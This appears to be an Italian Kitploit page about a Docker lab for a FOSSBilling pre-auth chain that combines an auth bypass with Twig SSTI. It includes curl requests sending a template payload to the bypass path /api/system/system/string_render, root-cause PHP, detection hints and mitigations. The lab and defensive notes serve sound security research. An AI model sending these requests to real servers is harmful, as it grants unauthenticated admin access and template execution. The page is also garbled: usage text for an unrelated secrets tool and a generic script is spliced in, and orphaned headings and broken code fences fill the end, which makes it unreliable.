CVE-2026-28496 — Docker lab che riproduce la catena RCE pre-auth di FOSSBilling (CVE-2026-27604 bypass di autenticazione + CVE-2026-28496 Twig SSTI) con un PoC in Python e un target di confronto con patch. | Kitploit

La RCE Pre-Auth richiede che entrambe le vulnerabilità lavorino insieme:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘

Questo lab dimostra la catena utilizzando la proof aritmetica sicura `{{ 7*7 }}`. Il percorso RCE completo tramite `getDi()` non è dimostrato.

## Fatti verificati

| Affermazione | Evidenza | Come verificare |
| ----- | -------- | ------------- |
| CVE-2026-27604 è un bypass di autenticazione nella gestione dei ruoli dell'API di FOSSBilling. | GHSA-78x5-c8gw-8279: throw mancante nel verificatore dei ruoli consente a /api/system/ di risolversi come admin. | Esegui il PoC: il percorso guest viene negato, il percorso system restituisce il risultato admin. |
| CVE-2026-28496 è una SSTI nel rendering Twig di FOSSBilling. | GHSA-57mv-jm88-66jc: string_render passa _tpl a Twig createTemplate() senza sandbox. | Esegui il PoC: il server valuta {{ 7*7 }} e restituisce 49. |
| Entrambe le vulnerabilità interessano FOSSBilling dalla 0.5.4 alla 0.7.2. | Gli advisory pubblici identificano l'intervallo di versioni interessate. | Confronta i target vulnerabile (0.7.2) e patchato (0.8.0). |
| FOSSBilling 0.8.0 corregge entrambe le vulnerabilità. | Il target patchato restituisce "Unknown API call" per l'endpoint testato. | Esegui il PoC sulla porta 8082. |
| Il bypass di autenticazione fornisce accesso admin non autenticato. | /api/guest/ nega string_render; /api/system/ restituisce il risultato senza autenticazione. | Esegui lo Stage 1 del PoC. |
| La SSTI valuta template controllati dall'attaccante. | {{ 7*7 }} restituisce 49 attraverso il percorso vulnerabile. | Esegui lo Stage 2 del PoC. |
| La catena consente RCE Pre-Auth. | Bypass di autenticazione + SSTI = template injection non autenticata con contesto admin. | Esegui il PoC della catena completa. |
| Il PoC è solo HTTP. | poc.py invia solo richieste HTTP POST. | Ispeziona poc/poc.py. |

## Analisi della causa principale

### CVE-2026-27604: Bypass di autenticazione

L'API di FOSSBilling risolve i ruoli dal percorso URL:```text
/api/:role/:module/:method

Poiché l'eccezione non viene mai lanciata, la validazione passa silenziosamente. Il ruolo `system` viene risolto nell'identità di amministratore cron, concedendo pieno accesso all'API di amministrazione a qualsiasi chiamante non autenticato.

L'impatto sulla sicurezza:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

Il metodo `renderString()` passa a `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

## Riepilogo della patch di origine

FOSSBilling 0.8.0 risolve entrambe le vulnerabilità:

**Correzione dell'Auth Bypass (CVE-2026-27604):**
Il verificatore dei ruoli ora genera correttamente l'eccezione per i ruoli non consentiti.

**Correzione della SSTI (CVE-2026-28496):**
Il rendering dei template viene indirizzato attraverso un renderer sandboxed:```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

Per il percorso API pubblico testato in questo laboratorio, FOSSBilling 0.8.0 non espone affatto l'endpoint testato:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

## Architettura del Lab```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

Servizio	Componente	Versione / Ruolo
vuln	FOSSBilling	0.7.2 target vulnerabile
patched	FOSSBilling	0.8.0 target con patch
vuln-db	MariaDB	database per il target vulnerabile
patched-db	MariaDB	database per il target con patch
installer-vuln	curl sidecar	installa automaticamente il target vulnerabile
installer-patched	curl sidecar	installa automaticamente il target con patch

Gli installer sidecar vengono eseguiti automaticamente durante `docker compose up`. Inizializzano entrambi i target FOSSBilling con credenziali locali usa e getta e poi terminano.

## Requisiti

* Docker Desktop o Docker Engine
* Docker Compose v2
* Python 3
* Accesso a Internet durante il primo pull dell'immagine Docker

Non è richiesto alcun pacchetto Python di terze parti. Il PoC utilizza solo moduli della libreria standard di Python.

## Avvio rapido

Avvia il laboratorio da uno stato pulito:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

**Stage 2 — SSTI (CVE-2026-28496):**
Conferma la valutazione del template lato server tramite l'endpoint admin bypassato.```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

# Mostra il menu di aiuto
python sechive.py --help

# Elenca tutti i secret disponibili
python sechive.py list

# Recupera un secret specifico
python sechive.py get --name "my-secret"

# Crea un nuovo secret
python sechive.py create --name "my-secret" --value "super-secret-value"

# Elimina un secret
python sechive.py delete --name "my-secret"

# Esporta tutti i secret in un file JSON
python sechive.py export --output secrets.json

# Importa secret da un file JSON
python sechive.py import --input secrets.json

# Ruota un secret
python sechive.py rotate --name "my-secret"

Opzione	Descrizione	Valore predefinito
`storage_path`	Percorso in cui sono archiviati i secret	`./data`
`encryption_key`	Chiave di crittografia per i secret	Generata automaticamente
`log_level`	Livello di verbosità del logging	`INFO`
`backup_enabled`	Abilita i backup automatici	`true`

# Esecuzione base
./tool.sh --target example.com

# Con file di configurazione personalizzato
./tool.sh --config custom.yaml --verbose

# Output in formato JSON
./tool.sh --output json --quiet

# Modalità dry-run con debug
./tool.sh --dry-run --debug

## Riproduzione HTTP manuale

### Prova di bypass dell'autenticazione (CVE-2026-27604)

Percorso guest (dovrebbe essere negato):```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Azioni di monitoraggio consigliate:

* Esaminare i log di accesso per le richieste a `/api/system/`
* Esaminare le richieste contenenti `_tpl` nei corpi JSON
* Esaminare le richieste contenenti sintassi Twig (`{{`, `}}`, `getDi`)
* Generare avvisi in caso di risposte con esito positivo a `/api/system/` provenienti da IP esterni
* Esaminare l'attività degli amministratori se si sospetta uno sfruttamento
* Esaminare template, template email e sistemi di invio massivo per individuare sintassi Twig sospetta

## Mitigazione

Aggiornare FOSSBilling alla versione 0.8.0 o successiva.

Passaggi consigliati:

* Aggiornare FOSSBilling alla versione 0.8.0 o successiva
* Bloccare l'accesso esterno a `/api/system/*` a livello di reverse proxy o WAF
* Limitare l'accesso alle API a IP di origine attendibili
* Ruotare tutti i token API di amministratori e clienti
* Invalidare tutte le sessioni attive
* Esaminare i log di accesso per le richieste a `/api/system/`
* Verificare template email, sistemi di invio massivo e adattatori di pagamento per individuare sintassi Twig sospetta
* Ruotare i segreti se si sospetta uno sfruttamento
* Esaminare i record di clienti, fatturazione e server per individuare accessi non autorizzati

Lezioni di ingegneria della sicurezza:

* Sollevare sempre eccezioni nei controlli di autorizzazione — istanziare senza sollevare eccezioni è un bypass silenzioso
* Non eseguire il rendering di stringhe di template non attendibili in un contesto applicativo privilegiato
* Utilizzare il rendering di template in sandbox e negare per impostazione predefinita l'accesso a metodi e proprietà
* Non esporre container DI o service locator ai contesti dei template
* Mantenere espliciti i fallimenti di autorizzazione delle API e adottare un comportamento fail closed

## Comandi Utili```bash
# Container status
docker compose ps -a

# Installer logs
docker compose logs installer-vuln installer-patched

# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081

# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082

# Manual auth bypass proof
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt

## Confini di sicurezza

Questo laboratorio è destinato esclusivamente alla ricerca sulla sicurezza locale e alla dimostrazione controllata.

Non eseguire il PoC contro sistemi di cui non sei proprietario o per i quali non disponi di autorizzazione esplicita al test. Non utilizzare credenziali di produzione reali, dati dei clienti o chiavi API in questo laboratorio.

L'ambito previsto è limitato a:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

CVE-2026-28496

Più Popolari

La Catena

CVE-2026-28496: SSTI

Catena Combinata```text

Utilizzo del PoC```bash

Risultati attesi

Target vulnerabile (FOSSBilling 0.7.2)```bash

Installazione manuale

Docker

Utilizzo

Comandi di base

Esempi di utilizzo avanzato

Configurazione

Considerazioni sulla sicurezza

Contribuire

Licenza

Questo progetto è distribuito con licenza Apache 2.0. Consultare il file `LICENSE` per i dettagli.```text

CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI

============================================================ STAGE 1: Auth Bypass (CVE-2026-27604)

============================================================ STAGE 2: SSTI (CVE-2026-28496)

============================================================ STAGE 3: Chain Assessment

Esempi di utilizzo

File di configurazione

Risoluzione dei problemi

Confronto delle patch```bash

Impatto

Rilevamento e monitoraggio

Pulizia```bash

Stop containers

Stop containers and remove volumes

Remove evidence files

Riferimenti

CVE-2026-27604	Auth Bypass	10.0	GHSA-78x5-c8gw-8279	throw mancante nel verificatore di ruolo API espone gli endpoint admin a chiamanti non autenticati
CVE-2026-28496	SSTI	9.4	GHSA-57mv-jm88-66jc	Rendering di template Twig non sandboxed tramite l'API string_render

Servizio	Versione FOSSBilling	Scopo	URL
vuln	0.7.2	Target vulnerabile	http://localhost:8081
patched	0.8.0	Target corretto	http://localhost:8082